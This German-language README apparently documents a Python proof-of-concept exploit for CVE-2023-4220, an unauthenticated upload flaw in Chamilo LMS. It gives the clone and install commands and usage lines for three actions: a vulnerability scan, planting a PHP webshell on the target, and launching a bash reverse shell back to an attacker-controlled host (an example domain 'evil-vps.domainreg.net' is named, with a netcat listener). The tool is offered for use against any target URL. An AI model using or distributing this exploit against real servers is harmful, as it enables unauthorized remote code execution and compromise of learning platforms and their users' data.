
Dies ist ein in Python geschriebenes Skript, das die Ausnutzung der Sicherheitslücke der LMS-Software Chamilo ermöglicht, die in CVE-2023-4220 beschrieben wird.
Dieses Skript ermöglicht die Ausnutzung der Sicherheitslücke in der Chamilo-LMS-Software, die als CVE-2023-4220 beschrieben wird. Das System ist in Versionen vor 1.11.24 verwundbar.
Klonen Sie das Repository auf Ihren Rechner und installieren Sie die Abhängigkeiten mit pip (es wird empfohlen, virtualenv zu verwenden, um eine Umgebung zu erstellen, die diese Installationen von den globalen Installationen trennt)
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
pip install -r requirements.txt
Das Skript benötigt die Ziel-URL mit dem Chamilo-Rootpfad (wie http://example.com/chamilo, http://example.com oder http://chamilo.example.com) und eine auszuführende Aktion (es stehen drei zur Verfügung: scan, webshell und revshell).
Diese Aktion prüft, ob das Ziel verwundbar ist, indem versucht wird, auf den Endpunkt /main/inc/lib/javascript/bigupload/files/ zuzugreifen.
python3 main.py -u http://example.com/chamilo -a scan

Diese Aktion erstellt eine PHP-Webshell-Datei im verwundbaren Endpunkt.
python3 main.py -u http://example.com/chamilo -a webshell

Diese Aktion erstellt und führt eine Bash-Reverse-Shell-Datei aus. Dazu wird zunächst mit derselben Methode wie in der vorherigen Aktion eine Webshell erstellt. Anschließend werden einige Befehle ausgeführt, um die Bash-Datei zu erstellen und auszuführen. Stellen Sie sicher, dass Sie den von Ihnen definierten Port mit nc oder einem anderen Dienstprogramm abhören, damit Sie die Reverse-Verbindung tatsächlich erhalten. Außerdem kann der Host eine gültige interne/öffentliche IPv4 (wie 172.17.1.4 oder 186.227.4.31) oder die registrierte Domain (wie evil-vps.domainreg.net) sein.
python3 main.py -u http://example.com/chamilo -a revshell

HINWEIS: Bald werde ich eine Windows-Payload-Option für Windows-Hosts hinzufügen.